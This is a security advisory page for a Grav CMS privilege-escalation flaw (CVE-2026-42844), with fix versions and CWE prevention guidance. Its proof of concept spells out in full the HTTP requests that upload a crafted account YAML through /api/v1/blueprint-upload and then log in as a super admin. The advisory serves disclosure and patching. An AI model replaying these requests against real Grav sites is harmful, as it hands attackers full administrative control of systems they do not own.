Skip to content

GHSA-6xx2-m8wv-756h CVE-2026-42844

Low-privileged Grav API users can create super-admin accounts via blueprint-upload

High Packagist
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.34%
Chance of exploitation in the next 30 days. Higher than 27.00% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-269 Improper Privilege Management
CWE-434 Unrestricted Upload of File with Dangerous Type
Fix
2.0.0-beta.4
Upgrade getgrav/grav to this version or later

Description

Summary

In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.

This results in full administrative compromise of the Grav API.

Details

The vulnerability is located in the API plugin's blueprint upload flow:

  • user/plugins/api/classes/Api/ApiRouter.php:261
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417
  • user/plugins/api/classes/Api/Controllers/AuthController.php:41-55

The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.

When the request uses:

  • destination=self@:
  • scope=users/anything

The server resolves the write target to the shared account directory:

user/accounts/

The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.

The required attacker privilege is low:

access:
  api:
    access: true
    media:
      write: true

PoC

Step 1: Authenticate as the low-privileged API user

POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"uploader","password":"Upload123A"}

Extract:

UPLOADER_TOKEN = <access_token from response>

Attachment:

<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />

Step 2: Upload a malicious account YAML file

POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close

------CodexBoundaryF01
Content-Disposition: form-data; name="destination"

self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"

users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml

email: attacker@example.com
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
  site:
    login: true
  api:
    super: true
------CodexBoundaryF01--

Expected result:

{
  "data": [
    {
      "name": "pwned.yaml",
      "path": "user/accounts/pwned.yaml"
    }
  ]
}

Attachment:

<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />

Step 3: Log in as the newly created account

POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"pwned","password":"Passw0rd!123"}

Expected result:

{
  "data": {
    "user": {
      "username": "pwned",
      "super_admin": true
    }
  }
}

Attachment:

<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />

Step 4: Verify privileged API access

GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close

Expected result:

The request succeeds and returns system-level information.

Attachment:

<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />

Impact

This is an authenticated vertical privilege-escalation vulnerability.

Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:

  • modify content
  • alter configuration
  • manage users
  • install or update plugins/themes
  • access system-level administration features

In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.

This issue was reproduced locally:

  • the upload response returned user/accounts/pwned.yaml
  • logging in as pwned succeeded
  • the new account had super_admin = true
  • privileged endpoints such as /api/v1/system/info were accessible

Affected versions

Packagist

PackageVulnerableFixed in
getgrav/grav
< 2.0.0-beta.4
2.0.0-beta.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

getgrav/grav Packagist → 2.0.0-beta.4

composer
composer require getgrav/grav:^2.0.0-beta.4

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-269: Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

CWE-434: Unrestricted Upload of File with Dangerous Type

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

How to prevent it
  • Architecture and Design: Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Architecture and Design: Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
  • Architecture and Design: Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
  • Implementation: Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
  • Implementation: When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
  • Implementation: Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xjw5-q542-3vmr
Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled
High Also affects getgrav/grav
GHSA-3jhr-mxmx-38cx
Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()
Medium Also affects getgrav/grav
GHSA-9ccq-2jfg-qw33
Grav: Origin validation bypass in Uri::referrer() and Pages::referrerRoute() via unanchored prefix match
Critical Also affects getgrav/grav
GHSA-38p6-h87p-r4cg
Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection
Medium Also affects getgrav/grav
GHSA-p597-crqc-m349
Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths
Medium Also affects getgrav/grav
GHSA-47ch-6w46-6xm7
Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content
Medium Also affects getgrav/grav
GHSA-jq29-c7v8-rg55
Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion
High Also affects getgrav/grav
GHSA-8hgv-xc77-jmcr
Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin
Medium Also affects getgrav/grav
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor